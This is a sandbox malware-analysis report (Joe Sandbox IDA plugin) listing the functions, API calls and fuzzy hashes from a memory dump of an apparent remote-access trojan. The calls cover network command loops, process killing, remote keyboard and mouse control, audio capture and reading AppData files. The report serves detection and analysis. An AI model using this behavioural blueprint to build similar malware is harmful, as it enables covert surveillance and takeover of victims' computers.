Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: File$Create$Size$CloseComputerEventFolderHandleNamePathSleepSpecial_strstrlstrcpywsprintf
String ID:
API String ID: 1777496915-0
Opcode ID: 88508c75d9a78b685f84d98e61458beaf7690ba0fc2af3093b4ca17e5acc0635
Instruction ID: 4bdbab1b38ce9c0d19af704a08b366f4cb12715bb44e1c118ab8a8cc83f7fdad
Opcode Fuzzy Hash: 88508c75d9a78b685f84d98e61458beaf7690ba0fc2af3093b4ca17e5acc0635
Instruction Fuzzy Hash: DA41B274D80228AAEB20DB60DC86FC9BB75EF44710F500196F658B72D2DBB16A80CF54

Function 1002B2EB Relevance: 7.6, APIs: 5, Instructions: 117sleepthreadnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 100330C0: Sleep.KERNEL32(000003E8), ref: 10033128

Part of subcall function 10032F40: wvsprintfA.USER32(?,?,?), ref: 10032F61

inet_addr.WS2_32(?), ref: 1002B37D

Part of subcall function 100331F0: socket.WS2_32(00000002,00000001,00000000), ref: 1003320A
Part of subcall function 100331F0: htons.WS2_32(?), ref: 10033229
Part of subcall function 100331F0: connect.WS2_32(00000000,?,00000010), ref: 1003323A
Part of subcall function 100331F0: closesocket.WS2_32(00000000), ref: 1003324A

recv.WS2_32(00000000,?,00000002,00000000), ref: 1002B3BA
CreateThread.KERNEL32(00000000,00000000,10032F90,?,00000000,?), ref: 1002B406
Sleep.KERNEL32(000003E8), ref: 1002B42F
closesocket.WS2_32(00000000), ref: 1002B455

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Sleepclosesocket$CreateThreadconnecthtonsinet_addrrecvsocketwvsprintf
String ID:
API String ID: 421157994-0
Opcode ID: 9ebfc658d1857ff8fa6b3ec0dd3bd2b9cfbd26a4088693096c3a521002b87afc
Instruction ID: b3acd073d34fc2feedabeea08f4acf68b5e625be9df513abaac2d19c9da4f4d7
Opcode Fuzzy Hash: 9ebfc658d1857ff8fa6b3ec0dd3bd2b9cfbd26a4088693096c3a521002b87afc
Instruction Fuzzy Hash: 0641F074504744AFE321DF60CC85BDBB7E8EF45701F00482EFA8586292DBB4B944CBA6

Function 10028220 Relevance: 7.6, APIs: 5, Instructions: 116processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1002823B
Process32First.KERNEL32(00000000,00000128), ref: 10028255
OpenProcess.KERNEL32(00000001,00000000,?), ref: 10028367
TerminateProcess.KERNEL32(00000000,00000000), ref: 10028372
CloseHandle.KERNEL32(00000000), ref: 10028379

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Process$CloseCreateFirstHandleOpenProcess32SnapshotTerminateToolhelp32
String ID:
API String ID: 2931323676-0
Opcode ID: 2dfbfd971162c5546ededc63e6ac8cde6437efa44529e886355037815126b1a7
Instruction ID: 573a8162694a671c2fe7d68689165028d079f35879c4a6f3561fe621a96fba65
Opcode Fuzzy Hash: 2dfbfd971162c5546ededc63e6ac8cde6437efa44529e886355037815126b1a7
Instruction Fuzzy Hash: 08412535A0021D9FEB11CB60AC85BEA77EDEF05644F4500E6FA08DB141EB72AB49CB90

Function 1002B2F0 Relevance: 7.6, APIs: 5, Instructions: 112sleepthreadnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 100330C0: Sleep.KERNEL32(000003E8), ref: 10033128

Part of subcall function 10032F40: wvsprintfA.USER32(?,?,?), ref: 10032F61

inet_addr.WS2_32(?), ref: 1002B37D

Part of subcall function 100331F0: socket.WS2_32(00000002,00000001,00000000), ref: 1003320A
Part of subcall function 100331F0: htons.WS2_32(?), ref: 10033229
Part of subcall function 100331F0: connect.WS2_32(00000000,?,00000010), ref: 1003323A
Part of subcall function 100331F0: closesocket.WS2_32(00000000), ref: 1003324A

recv.WS2_32(00000000,?,00000002,00000000), ref: 1002B3BA
CreateThread.KERNEL32(00000000,00000000,10032F90,?,00000000,?), ref: 1002B406
Sleep.KERNEL32(000003E8), ref: 1002B42F
closesocket.WS2_32(00000000), ref: 1002B455

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Sleepclosesocket$CreateThreadconnecthtonsinet_addrrecvsocketwvsprintf
String ID:
API String ID: 421157994-0
Opcode ID: f51cd4f50fe536f6641357fae3ce4ccad5643432601bcb19d665fff625a65d17
Instruction ID: 5588e68ed6425f2ff60b23ace10c17daefb66debb4642901992ef4c9020f7f0e
Opcode Fuzzy Hash: f51cd4f50fe536f6641357fae3ce4ccad5643432601bcb19d665fff625a65d17
Instruction Fuzzy Hash: CD41D071504740AFE321DF60CC85B9BB7E8EF45701F40482EFA8596292DBB4B944CBA6

Function 10037060 Relevance: 7.6, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 10037094
std::_Lockit::_Lockit.LIBCPMT ref: 100370B4
std::_Lockit::~_Lockit.LIBCPMT ref: 100370D4
std::_Facet_Register.LIBCPMT ref: 10037198
std::_Lockit::~_Lockit.LIBCPMT ref: 100371B0

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: fb16aeb2875a944e3336d5cad351bf72bae7e1541c6434f1b8e8d819a81eadbc
Instruction ID: 9480613635b0f2967e01e9bb59217a1922f7e2c943d44ef104bd2069d9eaf7b8
Opcode Fuzzy Hash: fb16aeb2875a944e3336d5cad351bf72bae7e1541c6434f1b8e8d819a81eadbc
Instruction Fuzzy Hash: 5441AD75A00255DFDB26CF58C880B9ABBF4FF04755F11815EE809AF281DB71AE01CB92

Function 100305F0 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1003061D
std::_Lockit::_Lockit.LIBCPMT ref: 1003063D
std::_Lockit::~_Lockit.LIBCPMT ref: 1003065D
std::_Facet_Register.LIBCPMT ref: 100306FB
std::_Lockit::~_Lockit.LIBCPMT ref: 10030713

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 5db8f90c598cdc9769e58086308f86aa8b3de8cd9e53e462ad51321bb129b7cc
Instruction ID: 0f50569ad8056509e67ca09eec5ae2b9b2ce18c76f9c1319e15164d0528afc3e
Opcode Fuzzy Hash: 5db8f90c598cdc9769e58086308f86aa8b3de8cd9e53e462ad51321bb129b7cc
Instruction Fuzzy Hash: 7341DD75A012949FEB12CF54C8A1B9AB7F4FF44325F11816EE809AF281DB71BD41CB81

Function 1002E33B Relevance: 7.6, APIs: 5, Instructions: 50windowstringCOMMON

Download Yara Rule

APIs

Part of subcall function 1002D4A0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 1002D4DD
Part of subcall function 1002D4A0: GetLastError.KERNEL32 ref: 1002D4E3
Part of subcall function 1002D4A0: wsprintfA.USER32 ref: 1002D560
Part of subcall function 1002D4A0: GetFileAttributesA.KERNEL32(?), ref: 1002D5F7

ScreenToClient.USER32(00000000,?), ref: 1002E4D1
ChildWindowFromPoint.USER32(00000000,?,?), ref: 1002E4E0
ScreenToClient.USER32(00000000,?), ref: 1002E4FC
ChildWindowFromPoint.USER32(00000000,?,?), ref: 1002E50B
GetWindowPlacement.USER32(00000000,?,?,?,?,?,?,?,?), ref: 1002E54A
RealGetWindowClass.USER32(00000000,?,00000104), ref: 1002E5B9
lstrcmp.KERNEL32(?,10079494), ref: 1002E5CC
SendMessageA.USER32(00000000,000001E1,00000000,00000000), ref: 1002E5E2
MenuItemFromPoint.USER32(00000000,00000000,?,?), ref: 1002E5F6
GetMenuItemID.USER32(00000000,00000000), ref: 1002E600
PostMessageA.USER32(00000000,?,?,?), ref: 1002E786

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Window$FromPoint$ChildClientItemMenuMessageScreen$AttributesClassErrorFileFolderLastPathPlacementPostRealSendlstrcmpwsprintf
String ID:
API String ID: 3814162062-0
Opcode ID: 2941e1f21a4b631bef5a80c12ca6aeac005e4635fb958a5590a2804724c5751c
Instruction ID: 267d7cb945fb86d99aaf7d0182b736ab93efce9508fa975a84536e16a4d7527c
Opcode Fuzzy Hash: 2941e1f21a4b631bef5a80c12ca6aeac005e4635fb958a5590a2804724c5751c
Instruction Fuzzy Hash: 2B01AD32048662AFD312DF10D845A6FBBEAEBC8351F52480DF99642121DF34DC09DBA2

Function 1002E34B Relevance: 7.5, APIs: 5, Instructions: 49windowstringCOMMON

Download Yara Rule

APIs

Part of subcall function 1002D720: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 1002D75B
Part of subcall function 1002D720: lstrcpy.KERNEL32(?,?), ref: 1002D799
Part of subcall function 1002D720: CreateFileA.KERNEL32(?,00000001,00000003,00000000,00000003,00000080,00000000), ref: 1002D7C3
Part of subcall function 1002D720: GetFileSize.KERNEL32(00000000,00000000), ref: 1002D7D7
Part of subcall function 1002D720: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 1002D7F9
Part of subcall function 1002D720: _strstr.LIBCMT ref: 1002D809
Part of subcall function 1002D720: _strstr.LIBCMT ref: 1002D828
Part of subcall function 1002D720: _strstr.LIBCMT ref: 1002D840

ScreenToClient.USER32(00000000,?), ref: 1002E4D1
ChildWindowFromPoint.USER32(00000000,?,?), ref: 1002E4E0
ScreenToClient.USER32(00000000,?), ref: 1002E4FC
ChildWindowFromPoint.USER32(00000000,?,?), ref: 1002E50B
GetWindowPlacement.USER32(00000000,?,?,?,?,?,?,?,?), ref: 1002E54A
RealGetWindowClass.USER32(00000000,?,00000104), ref: 1002E5B9
lstrcmp.KERNEL32(?,10079494), ref: 1002E5CC
SendMessageA.USER32(00000000,000001E1,00000000,00000000), ref: 1002E5E2
MenuItemFromPoint.USER32(00000000,00000000,?,?), ref: 1002E5F6
GetMenuItemID.USER32(00000000,00000000), ref: 1002E600
PostMessageA.USER32(00000000,?,?,?), ref: 1002E786

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Window$FileFromPoint_strstr$ChildClientItemMenuMessageScreen$ClassCreateFolderPathPlacementPostReadRealSendSizelstrcmplstrcpy
String ID:
API String ID: 2189505526-0
Opcode ID: 71dc371eb44f6791cff85a29ba50106697bc11bbc7c20150ca67a3d63eec9abc
Instruction ID: 37a7343a7be6c126ce2e24860b5f9666bdd6cd10573639b1608690e8b3f5eac9
Opcode Fuzzy Hash: 71dc371eb44f6791cff85a29ba50106697bc11bbc7c20150ca67a3d63eec9abc
Instruction Fuzzy Hash: 1A01C036008262AFD312CF10D845A7FBBE6EBC8351F42480DF99642120EF34CC09DBA2

Function 100223C4 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 100223DE
RtlLeaveCriticalSection.NTDLL(?), ref: 100223EF
RtlEnterCriticalSection.NTDLL(?), ref: 10022413
closesocket.WS2_32(000000FF), ref: 10022426
RtlLeaveCriticalSection.NTDLL(?), ref: 10022438

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: CriticalSection$EnterLeave$closesocket
String ID:
API String ID: 3380830492-0
Opcode ID: 35ced25d468d5670fca1f9a04b1e1b485d0dd7ddd7f6f3567e06f47098f018b7
Instruction ID: 5ff07feb1a9c44cadb94ebe3703caac7099068f00097b4d04046e54c2d718554
Opcode Fuzzy Hash: 35ced25d468d5670fca1f9a04b1e1b485d0dd7ddd7f6f3567e06f47098f018b7
Instruction Fuzzy Hash: 7801B131500914BBC301DFA8CC889DDBBEAEF16371F524355FD65A36D0DB70AA958AD0

Function 100223D0 Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 100223DE
RtlLeaveCriticalSection.NTDLL(?), ref: 100223EF
RtlEnterCriticalSection.NTDLL(?), ref: 10022413
closesocket.WS2_32(000000FF), ref: 10022426
RtlLeaveCriticalSection.NTDLL(?), ref: 10022438

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: CriticalSection$EnterLeave$closesocket
String ID:
API String ID: 3380830492-0
Opcode ID: ea77a2f87bbcd6cc39a3a749d8b4df51597107300b4aada49ffeb47442c28fdf
Instruction ID: cdd6664473d1b38a8f5df16eddca6dd789a76da583ef31535192caff020e5974
Opcode Fuzzy Hash: ea77a2f87bbcd6cc39a3a749d8b4df51597107300b4aada49ffeb47442c28fdf
Instruction Fuzzy Hash: B101B130500914BBC301DFA8C8889D9BBEAEF16361F524355F955932D0DB70AA958AD0

Function 1005A7DB Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 1005A7F3

Part of subcall function 1004D9B2: HeapFree.KERNEL32(00000000,00000000,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7), ref: 1004D9C8
Part of subcall function 1004D9B2: GetLastError.KERNEL32(10053BE7,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7,10053BE7), ref: 1004D9DA

_free.LIBCMT ref: 1005A805
_free.LIBCMT ref: 1005A817
_free.LIBCMT ref: 1005A829
_free.LIBCMT ref: 1005A83B

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5cde48d4c67deb276c8c0114ed93fbd9285caafbdb6db17bde0aeeed6ae2ce87
Instruction ID: 03de9a4bc28bb952db687bd92be6ab742a76b13ec67cfc6ba790fde6ff0c5c29
Opcode Fuzzy Hash: 5cde48d4c67deb276c8c0114ed93fbd9285caafbdb6db17bde0aeeed6ae2ce87
Instruction Fuzzy Hash: 9BF04931905210ABCB65EB58E8CAC6A33EDFE057A03618827F409D7601CA20FCC08A64

Function 100253E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165synchronizationCOMMON

Download Yara Rule

APIs

waveInGetNumDevs.WINMM(10081068), ref: 10025425
waveInGetDevCapsA.WINMM(00000000,?,00000030), ref: 10025497
WaitForSingleObject.KERNEL32(?,000000FF,10081068), ref: 100255AA

Strings

N/A@, xrefs: 10025510

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: wave$CapsDevsObjectSingleWait
String ID: N/A@
API String ID: 3710653462-4129345051
Opcode ID: 1243b2e7a641a833e1cbaf8e48201dfae163a94c9e19b0b69b5f6b5cad6363ee
Instruction ID: 13a6ff94af0e77f7e1e2c1b732d13b475a11508fa2af27eba5e8f420a26f26ce
Opcode Fuzzy Hash: 1243b2e7a641a833e1cbaf8e48201dfae163a94c9e19b0b69b5f6b5cad6363ee
Instruction Fuzzy Hash: 17518BB1904B6A9FDF01CF20DC5079EBBF6EF44311F410295DA1A6B282DB31AE44CBA5

Function 10031640 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 155librarystringCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(10079594,10081068,?,Enable,?,?,?,?,?,00000000,1003AC40,1007CC88,000000FE,?,10032F11,10078A50), ref: 10031682
lstrlen.KERNEL32(10078A50,?,?,?,?,?,00000000,1003AC40,1007CC88,000000FE,?,10032F11,10078A50,00000001,Enable,00000000), ref: 10031756
FreeLibrary.KERNEL32(1007CC88,?,?,?,?,?,00000000,1003AC40,1007CC88,000000FE,?,10032F11,10078A50,00000001,Enable), ref: 100317E2

Strings

Enable, xrefs: 1003165A

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Library$FreeLoadlstrlen
String ID: Enable
API String ID: 4087948096-4094479620
Opcode ID: 0b002468361c8ddaca228f60010b33fa468b1118439e5910450c11e71b4e25f7
Instruction ID: 0d77bde4d3f6e19500842112d0ba871150051fa243446ffc32163de4919ff8aa
Opcode Fuzzy Hash: 0b002468361c8ddaca228f60010b33fa468b1118439e5910450c11e71b4e25f7
Instruction Fuzzy Hash: A2511971E04219AFEB11CFA5CC44FEEBBB9EF08751F144026FA15FA160DB7599108BA4

Function 1002F230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,1006421C), ref: 1002F265
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1002F2A6
wsprintfA.USER32 ref: 1002F325

Strings

:\, xrefs: 1002F282

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: :\
API String ID: 3001812590-112054617
Opcode ID: 59b8e9a0ba33c22135eafea2768a0eb134a479e50700c0f27db9a57b3749d08b
Instruction ID: 68377135c77cc68ebf0f72161ecdd038539ba62a48a7956cd91579c1b7ec4f44
Opcode Fuzzy Hash: 59b8e9a0ba33c22135eafea2768a0eb134a479e50700c0f27db9a57b3749d08b
Instruction Fuzzy Hash: DA21077090036C6EDB15CA758C82BEDBFFCDB15300F0080EAE544EA291D6749B898FA5

Function 1004E3EA Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 1004E471

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e09ab61a6ca2936a1f0842c2723999058e119adbfc44070de7caad6fd36ae0f5
Instruction ID: 64171ecbdf8fc30144a333dd3e82c8524222b5e941e06bec0c7444253493c20c
Opcode Fuzzy Hash: e09ab61a6ca2936a1f0842c2723999058e119adbfc44070de7caad6fd36ae0f5
Instruction Fuzzy Hash: 21B13971D086D69FDB11CF28C8817AEBBE5EF55390F3641BAE844DB242D6349D01CB68

Function 10026440 Relevance: 6.2, APIs: 4, Instructions: 169keyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 10030BD0: GetCurrentThreadId.KERNEL32 ref: 10030BE8
Part of subcall function 10030BD0: GetThreadDesktop.USER32(00000000), ref: 10030BEF
Part of subcall function 10030BD0: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 10030C3A
Part of subcall function 10030BD0: lstrcmpiA.KERNEL32(?,?), ref: 10030C7E
Part of subcall function 10030BD0: SetThreadDesktop.USER32(00000000), ref: 10030C89

SetCursorPos.USER32(00000000,?,?,10064418,?,?,?,10025C3D,?,?), ref: 10026504
WindowFromPoint.USER32(00000000,?,?,10064418,?,?,?,10025C3D,?,?), ref: 1002650E
SetCapture.USER32(00000000,?,10064418,?,?,?,10025C3D,?,?), ref: 10026515
keybd_event.USER32(00000000,00000000,?,10064418), ref: 10026557

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: DesktopThread$CaptureCurrentCursorFromInputOpenPointWindowkeybd_eventlstrcmpi
String ID:
API String ID: 1651361913-0
Opcode ID: 0c169ef81d4b393fcb1e124fbcb841d506da81848c973b49fe367cba5a86b9ea
Instruction ID: d031476395bb0bb1c03e5d69dddd94ee0d90c247bfd8109c8b9e3e810b713226
Opcode Fuzzy Hash: 0c169ef81d4b393fcb1e124fbcb841d506da81848c973b49fe367cba5a86b9ea
Instruction Fuzzy Hash: FC519E31780324BAF731CB649C8BF597766EB49F04F718226FB00BE1D1DAE1B8518A58

Function 1005F38C Relevance: 6.1, APIs: 4, Instructions: 133fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1005F45C
_free.LIBCMT ref: 1005F485
SetEndOfFile.KERNEL32(00000000,1005D64F,00000000,10052D46,?,?,?,?,?,?,?,1005D64F,10052D46,00000000), ref: 1005F4B7
GetLastError.KERNEL32(?,?,?,?,?,?,?,1005D64F,10052D46,00000000,?,?,?,?,00000000), ref: 1005F4D3

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: b3d7b257df67468a99ab8e62c8491426388caf9ea3b71af238aa1f4c9f1779dc
Instruction ID: 9b928bc9920f47eaf83a4face1164b1f01003ff26f11db0b339bc9fe2be70295
Opcode Fuzzy Hash: b3d7b257df67468a99ab8e62c8491426388caf9ea3b71af238aa1f4c9f1779dc
Instruction Fuzzy Hash: 6141D77A9046055BDB11DFB4CC82AAF37B5EF443A0F310529F915E7192DB38ED498B21

Function 10055818 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10049DE0: _free.LIBCMT ref: 10049DEE

Part of subcall function 100555E8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,7FFFFFFF,?,00000001,?,00000000,?,?,1004DD30,?,00000000,00000006), ref: 1005568A

GetLastError.KERNEL32 ref: 10055880
__dosmaperr.LIBCMT ref: 10055887
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 100558C6
__dosmaperr.LIBCMT ref: 100558CD

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 3926a132f87e4109a2a1d4faa972ef2104e665fe2dc1ef1f2da86cad474e1fac
Instruction ID: 0a2aed4f8eacd2ddb5a1ff53a90e12f8f9725fd2544e7dd779b7d27ed8f125a9
Opcode Fuzzy Hash: 3926a132f87e4109a2a1d4faa972ef2104e665fe2dc1ef1f2da86cad474e1fac
Instruction Fuzzy Hash: 4621D375604216AFD710DFA5CCA2D6AB7EDEF002A57218525F819E7140DF32FD0487A0

Function 10050564 Relevance: 6.1, APIs: 4, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe9f3cc1fea7d5ee8450eafc1c042c66722bbb9f0f52a4a2f863344ab84818e
Instruction ID: fd1b72443f52a3ba2ca1641d2e14b8bcdfdf28fc6b16a1be3f15f840ce1b52f8
Opcode Fuzzy Hash: 2fe9f3cc1fea7d5ee8450eafc1c042c66722bbb9f0f52a4a2f863344ab84818e
Instruction Fuzzy Hash: 0421B775901626BBEB21DF248D84A4F3799DF416A0F220561FD05E7291EB70ED54C9E0

Function 10018200 Relevance: 6.1, APIs: 4, Instructions: 76windowstringCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 10018220
SendMessageW.USER32(?,0000000D,00000400,?), ref: 10018253
lstrlenW.KERNEL32(?), ref: 10018260
_wcsstr.LIBVCRUNTIME ref: 100182BA

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: MessageSendVisibleWindow_wcsstrlstrlen
String ID:
API String ID: 2904981177-0
Opcode ID: 5cf3b5f1593f91350f351e5a00ba689d4ab39bd2bce597115d8c6efbbb6adb5d
Instruction ID: 3fef4562bcdc271cd2924335678147aadf90d790ac9991495059f90398aedb7c
Opcode Fuzzy Hash: 5cf3b5f1593f91350f351e5a00ba689d4ab39bd2bce597115d8c6efbbb6adb5d
Instruction Fuzzy Hash: 2F21017694011C6ADB51DBA4DD45BDAB3BCEF08601F0040A6F705EA141DE74AB498BA4

Function 1004E0DC Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,1003ED3E,?,?,?,?,1003EE09,?,?,10085840), ref: 1004E0E1
_free.LIBCMT ref: 1004E13E
_free.LIBCMT ref: 1004E174
SetLastError.KERNEL32(00000000,100811E4,000000FF,?,1003EE09,?,?,10085840), ref: 1004E17F

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 03cc86f2fd8e960c195e2d773208e9cb1a03103ca8321f1bffce4cc580359c88
Instruction ID: ad6ae8e3b24cd59acf3ac1b5e4344378db22414886cbd34bbc8e5c64ae17178a
Opcode Fuzzy Hash: 03cc86f2fd8e960c195e2d773208e9cb1a03103ca8321f1bffce4cc580359c88
Instruction Fuzzy Hash: 3F1125366482912BE712D7F54CCADAF219EEFC07B4B320236FA28C61F2DE719C058154

Function 1004E233 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000008,?,?,100497F6,10053BE7,?,1005DD1D,?,?,?,?), ref: 1004E238
_free.LIBCMT ref: 1004E295
_free.LIBCMT ref: 1004E2CB
SetLastError.KERNEL32(00000000,100811E4,000000FF,?,100497F6,10053BE7,?,1005DD1D,?,?,?,?), ref: 1004E2D6

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 82c33be00a4b6c0ee501a6f6e4c5d1aeddf7e16f812ae8c19ae35d72468006ac
Instruction ID: f56758dfd794b339ec9e550e5ad1ecdfa7a01281a14a424ce45bae03a1d6b24f
Opcode Fuzzy Hash: 82c33be00a4b6c0ee501a6f6e4c5d1aeddf7e16f812ae8c19ae35d72468006ac
Instruction Fuzzy Hash: 43110C366081516AE702D7F54ECADAF265EEFC13B1B320336FA18D61D2DDA1DD054154

Function 10032270 Relevance: 6.1, APIs: 4, Instructions: 66synchronizationwindowCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 100322AD
WaitForSingleObject.KERNEL32(?,000000FF), ref: 100322B8
waveInAddBuffer.WINMM(?,?,00000020), ref: 100322D2
DispatchMessageA.USER32(?), ref: 100322F0

